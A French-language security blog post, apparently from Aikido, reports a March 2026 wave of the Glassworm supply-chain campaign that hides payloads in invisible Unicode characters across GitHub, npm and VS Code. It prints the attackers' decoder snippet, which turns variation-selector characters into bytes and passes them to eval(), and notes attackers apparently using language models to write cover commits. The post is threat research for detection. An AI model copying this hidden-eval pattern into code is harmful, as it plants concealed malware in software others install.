Aikido

Glassworm est de retour : une nouvelle vague d'attaques Unicode invisibles touche des centaines de dépôts

Écrit par
Ilyas Makari

La menace invisible que nous suivons depuis près d'un an est de retour. Alors que la campagne PolinRider fait la une des journaux pour avoir compromis des centaines de dépôts GitHub, nous observons parallèlement une nouvelle vague d'activité liée à Glassworm qui touche GitHub, npm et VS Code.

En octobre dernier, nous avions évoqué l'utilisation de caractères Unicode cachés pour compromettre des dépôts GitHub, en attribuant cette technique à un acteur malveillant nommé Glassworm. Ce mois-ci, ce même acteur est de retour, et parmi les dépôts touchés figurent des noms notables : un dépôt de Wasmer, Reworm, ainsi que opencode-bench d'anomalyco, l'organisation à l'origine d'OpenCode et de SST.

Campagne « Une année du code invisible »

  • Mars 2025 : Aikido détecte Aikido des paquets npm malveillants dissimulant des charges utiles à l'aide de caractères Unicode PUA
  • Mai 2025 : Nous publions un article de blog détaillant les risques liés à l'Unicode invisible et la manière dont il peut être utilisé à des fins malveillantes dans le cadre attaques de la chaîne d’approvisionnement
  • 17 octobre 2025 : Nous découvrons des extensions compromises sur Open VSX à l'aide de la même technique
  • 31 octobre 2025 : nous découvrons que les pirates ont désormais pris pour cible les dépôts GitHub
  • Mars 2026 : une nouvelle vague de piratages de grande ampleur se produit : des centaines de dépôts GitHub sont compromis, npm et VS Code étant également touchés.

Petit rappel

Avant d'aborder l'ampleur de cette nouvelle vague, rappelons comment fonctionne cette attaque. Même après des mois de couverture médiatique, elle continue de prendre les développeurs et les outils au dépourvu.

L'astuce repose sur des caractères Unicode invisibles : des fragments de code qui s'affichent comme vides dans pratiquement tous les éditeurs, terminaux et code review . Les pirates utilisent ces caractères invisibles pour encoder une charge utile directement au sein de ce qui semble être une chaîne vide. Lorsque le moteur d'exécution JavaScript la rencontre, un petit décodeur extrait les octets réels et les transmet à eval().

Voici à quoi ressemble l'injection. N'oubliez pas que l'espace apparent laissé par les guillemets inversés vides ci-dessous est tout sauf vide :

const s = v => [...v].map(w => (
  w = w.codePointAt(0),
  w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
  w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);


eval(Buffer.from(s(``)).toString('utf-8'));

La chaîne entre guillemets inversés transmise à s() Il semble vide dans tous les visualiseurs, mais il regorge de caractères invisibles qui, une fois décodés, génèrent une charge utile malveillante complète. Lors d'incidents antérieurs, cette charge utile décodée a récupéré et exécuté un script de deuxième phase utilisant Solana comme canal de diffusion, capable de voler des jetons, des identifiants et des secrets.

L'ampleur de la vague de mars 2026

Nous observons actuellement une campagne de grande envergure menée par le groupe malveillant Glassworm, qui se propage à travers les dépôts open source. Une recherche sur GitHub à l'aide du motif du décodeur renvoie actuellement au moins 151 dépôts correspondants, et ce chiffre sous-estime l'ampleur réelle du phénomène, car de nombreux dépôts concernés avaient déjà été supprimés au moment de la rédaction de cet article. Les compromissions sur GitHub semblent avoir eu lieu entre le 3 et le 9 mars.

La campagne s'est également étendue au-delà de GitHub. On observe désormais la même technique utilisée sur npm et la boutique VS Code, ce qui laisse penser que Glassworm mène une offensive coordonnée touchant plusieurs écosystèmes. Cela correspond au schéma habituel du groupe, qui consiste à passer d'un registre à l'autre.

Package Écosystème Versions Date
@aifabrix/miso-client npm 4.7.2 12 mars 2026
@iflow-mcp/watercrawl-watercrawl-mcp npm 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4 12 mars 2026
quartz.quartz-markdown-editor VS Code 0.3.0 12 mars 2026

Référentiels GitHub ayant fait l'objet d'attaques notables

Parmi les référentiels que nous avons identifiés, plusieurs appartiennent à des projets renommés qui comptent un nombre important d'étoiles, ce qui en fait des cibles de premier plan pour l'impact sur la chaîne d'approvisionnement en aval :

Camouflage assisté par l'IA

Comme nous l'avons souligné dans notre article d'octobre, ces injections malveillantes ne se présentent pas sous la forme de commits manifestement suspects. Les modifications qui les entourent sont crédibles : ajustements de la documentation, mises à jour de version, petites refactorisations et corrections de bogues qui s'intègrent parfaitement au style de chaque projet cible.

Ce degré de personnalisation spécifique au projet laisse fortement supposer que les pirates utilisent des modèles linguistiques de grande envergure pour générer des commits de couverture convaincants. À l'échelle que nous observons actuellement, il est tout simplement impossible de créer manuellement plus de 151 modifications de code sur mesure dans différentes bases de code. 

Détection et protection

Les menaces invisibles exigent des défenses actives. On ne peut pas se contenter d'code review visuelle code review d'un linting standard pour détecter ce qui n'est pas visible. Chez Aikido, nous avons intégré une fonctionnalité de détection des injections Unicode invisibles directement dans notre pipeline d'analyse des logiciels malveillants.

Si vous utilisez déjà Aikido, ces paquets seraient signalés dans votre flux comme présentant un problème critique (100/100).

Vous n'êtes pas Aikido sur Aikido ? Créez un compte gratuit et connectez vos référentiels. L'offre gratuite inclut notre couverture de détection des logiciels malveillants (aucune carte de crédit requise).

Enfin, un outil capable de bloquer en temps réel les logiciels malveillants de la chaîne d'approvisionnement dès leur apparition peut empêcher une infection grave. C'est le principe sur lequel repose Aikido Chain, un outil gratuit et open source qui s'intègre à npm, npx, yarn, pnpm et pnpx et s'appuie à la fois sur l'IA et sur des chercheurs spécialisés dans les logiciels malveillants pour détecter et bloquer les derniers risques liés à la chaîne d'approvisionnement avant qu'ils ne pénètrent dans votre environnement.

{{cta}}

Partager :

https://www.aikido.dev/blog/glassworm-returns-unicode-attack-github-npm-vscode

Abonnez-vous pour les actualités sur les menaces.

Commencez dès aujourd'hui, gratuitement.

Commencer gratuitement
Sans carte bancaire
4,7/5
Vous en avez assez des faux positifs ?
Essayez Aikido 100 000 autres utilisateurs.
Commencez maintenant
Obtenez un guide personnalisé

Plus de 100 000 équipes lui font confiance

Réserver maintenant
Analysez votre application à la recherche d'IDOR et de véritables chemins d'attaque.

Plus de 100 000 équipes lui font confiance

Commencer la numérisation
Découvrez comment l'IA teste la sécurité de votre application

Plus de 100 000 équipes lui font confiance

Commencer le test
Analysez vos référentiels à la recherche d'attaques Unicode invisibles

Reconnu par 100 000 équipes

Démarrer gratuitement

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.